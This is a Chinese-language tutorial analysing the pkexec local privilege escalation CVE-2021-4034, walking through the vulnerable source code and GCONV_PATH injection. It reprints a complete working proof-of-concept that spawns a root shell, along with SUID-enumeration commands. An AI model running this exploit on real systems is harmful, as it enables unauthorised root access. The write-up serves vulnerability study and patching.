【漏洞分析: CVE-2021-4034】

文章目录

    • c语言相关预备知识
    • 其他预备知识
    • 一个小实验
    • 漏洞分析
    • 漏洞利用
    • 总结

c语言相关预备知识

  • 要点:
    c语言或者c++ 语言都要想运行必须要有一个main函数, 其中main函数可以带三个参数,分别为(argc, argv, envp)
    函数原型如下:
int main(int argc, char *argv[], char *envp[])
  1. argc是什么?
    答: 这是一个整型变量,表示运行程序的命令行传入的参数个数。由于程序的名称默认被看作第一个参数,argc至少是1。

  2. argv是什么?
    答:argv[]表示以null为结尾的字符串数组,(个人理解是argv 数组中存储了指针,每个指针指向一个字符串的开头,也就是对应的参数, 最后一个指针 argv[argc] 的值为null); 可以这样定义 char *argv[], 也可以这样定义char **argv

  3. envp是什么?
    答:这是系统的环境变量,内容一般以"名称=值"的形式, 以NULL结束。(可以尝试打印一下,我试了一下,打印出许多变量, 例如HISTSIZE, USER 等)

  4. 内存中argv和envp的存放位置关系是什么?(这是一个非常重要的知识点,可以通过argv来访问envp中对应的内容)
    内存中存放的位置关系如下。 我尝试了一下argv[argc+1] 的值就是envp[0]的值。

|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | 
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| 
  1. execve函数是什么?
    答: 可以用这个函数执行shell脚本, 单独的shell命令,或者调用其他的程序。
//使用方式, 需要加入头文件
#include 
//函数原型:
int execve(const char *filename, char *const argv[], char *const envp[]);

其他预备知识

  • SUID是什么?
    SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

一个小实验

  • 第一个文件:
// a.c
#include 
#include 

int main(int argc, char **argv, char** envp)
{
  printf("argv[1]:%s\n", argv[1]);
}

直接运行的效果如下:

[test@]$ ./a
argv[1]:  -----   (null)
  • 第二个文件:
//b.c
#include 
#include 
#include 

int main(int argc, char * argv[]){
    char *a_argv[] = { NULL };
    char *a_envp[] = {"lol", NULL};
    execve("./a", a_argv, a_envp);
}

运行效果如下:

argv[1]:  -----   lol
  • 要点:
    如果execve中的argv参数不为null,参数在内存中的分布就是"参数 + null". 如果argv参数只包含null, 那么参数在内存中的分布就只是"null".
  • 结论: 如果在写c语言代码的时候,不小心把argv溢出了,就有可能把envp[0]覆盖掉,这是漏洞出现的原因。

漏洞分析

pkexec源码地址:
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

 for (n = 1; n < (guint) argc; n++)//注意,如果不传参数,n的值在这里默认设置为了1
    {
      // 下面的操作基本就是匹配参数,基本可以不用关注。
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      else if (strcmp (argv[n], "--version") == 0)
        {
          opt_show_version = TRUE;
        }
      else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
          n++;
          if (n >= (guint) argc)
            {
              usage (argc, argv);
              goto out;
            }

          if (opt_user != NULL)
            {
              g_printerr ("--user specified twice\n");
              goto out;
            }
          opt_user = g_strdup (argv[n]);
        }
      else if (strcmp (argv[n], "--disable-internal-agent") == 0)
        {
          opt_disable_internal_agent = TRUE;
        }
      else
        {
          break;
        }
    }
  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //不传参, 这里的n值为1, 也就是envp[0]的值。
  if (path == NULL)
    {
      GPtrArray *shell_argv;

      path = g_strdup (pwstruct.pw_shell);
      if (!path)
	{
          g_printerr ("No shell configured or error retrieving pw_shell\n");
          goto out;
	}
      /* If you change this, be sure to change the if (!command_line)
	 case below too */
      command_line = g_strdup (path);
      shell_argv = g_ptr_array_new ();
      g_ptr_array_add (shell_argv, path);
      g_ptr_array_add (shell_argv, NULL);
      exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path); // 获取path的路径。envp[0]中指向的值,如果是可执行程序名称, 可以通过该函数获取到路径。
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s; // 这里获取的路径的值,又把envp[0] 中的值给覆盖掉了。
    }
  if (access (path, F_OK) != 0)
    {
      g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
      goto out;
    }

  if (!command_line)
    {
      /* If you change this, be sure to change the path == NULL case
	 above too */
      command_line = g_strjoinv (" ", argv + n);
      exec_argv = argv + n;
    }

整理一下, 如果执行pkexec而不带参数,则会发生溢出,在envp中引入可以被构造的环境变量。

  1. 假设我们执行pkexec,此时argc=0,envp={“xxx”}
  2. 程序会读取argv[1]到path变量中,也就是"xxx"
  3. s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx
  4. 程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp也就变成了{"/usr/bin/xxx"}
    也就是说,这个绝对路径有可能会被利用,改名环境变量,

漏洞利用

漏洞利用之前, 还需要了解一个知识点:

在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。

iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。

那么利用的思路就来了:
由于我们在上一节已经知道,我们可以人为构造一种场景来改变环境变量,那么是否可以设法在pkexec运行的时候改变环境变量 GCONV_PATH, 从而执行我们的恶意so文件。只要思想不滑坡,办法总比困难多~

具体的利用过程描述如下:

  1. 首先一个gconv-modules配置文件,放置在./xxx目录下,其内容指向一个准备好的恶意so文件。
  2. 创建可执行文件xxx,放置在./GCONV_PATH=.目录下,注意目录名称为GCONV_PATH=.
  3. 然后调用pkexec,argc=0,envp={“xxx”,“PATH=GCONV_PATH=.”,“LC_MESSAGES=en_US.UTF-8”,“XAUTHORITY=…/LOL”, NULL}
  4. pkexec执行到610行,path=xxx
  5. pkexec执行到632行,找到xxx的具体位置,因为我们制定了环境变量PATH=GCONV_PATH=.,所以会找到xxx的具体位置为GCONV_PATH=./xxx
  6. pkexec执行到636行,envp[0] = argv[1] = path= GCONV_PATH=./xxx,此时envp为{“GCONV_PATH=./xxx”,“PATH=GCONV_PATH=.”,“LC_MESSAGES=en_US.UTF-8”}
  7. pkexec执行到670行,调用validate_environment_variable函数,因为XAUTHORITY环境变量不合法,触发g_printerr函数,从而调用iconv_open()函数,找到gconv-modules配置文件:./xxx/gconv-modules,然后找到so文件,最终执行so文件。

exp如下:

/*
 * blasty-vs-pkexec.c -- by blasty  
 * ------------------------------------------------
 * PoC for CVE-2021-4034, shout out to Qualys
 *
 * ctf quality exploit
 *
 * bla bla irresponsible disclosure
 *
 * -- blasty // 2022-01-25
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include \n"
        "#include \n"
        "#include \n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };

    printf("[~] compile helper..\n");
    compile_so();

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    printf("[~] maybe get shell now?\n");

    execve("/usr/bin/pkexec", a_argv, a_envp);
}

使用方式如下:

gcc exp.c -o exp
./exp

总结

这里可以小结一下,该漏洞可以利用的条件有哪些:

  1. pkexec 的c源程序中在不带参数的情况下,使用了argv[1],会导致溢出。
  2. execve函数执行pkexec命令时不带参数会有被改写envp[0]的风险。
  3. 改变环境变量GCONV_PATH的值,会有执行恶意so文件的风险。
  4. 如果XAUTHORITY环境变量不合法,或者环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open()。[这是触发条件]
  5. iconv_open() 找到 gconv-modules配置文件,执行指定的so文件。
  6. pkexec 有特殊权限suid
  • 思考: 挖掘类似漏洞的思路是啥?
  1. 不带参数的情况下,有没有引用argv[1]
  2. 通过改变环境变量能否让程序执行恶意的文件。
  3. 可执行程序是否拥有特殊权限suid.
  • 思考: 如何避免此类漏洞?
  1. 指针不要越界,数组不要溢出,做好参数校验。

感受:对于漏洞初学者,这个漏洞的利用方式就是一个字"妙"啊~

主要参考资料:
https://saucer-man.com/information_security/876.html

你可能感兴趣的:(计算机安全,linux,运维,服务器)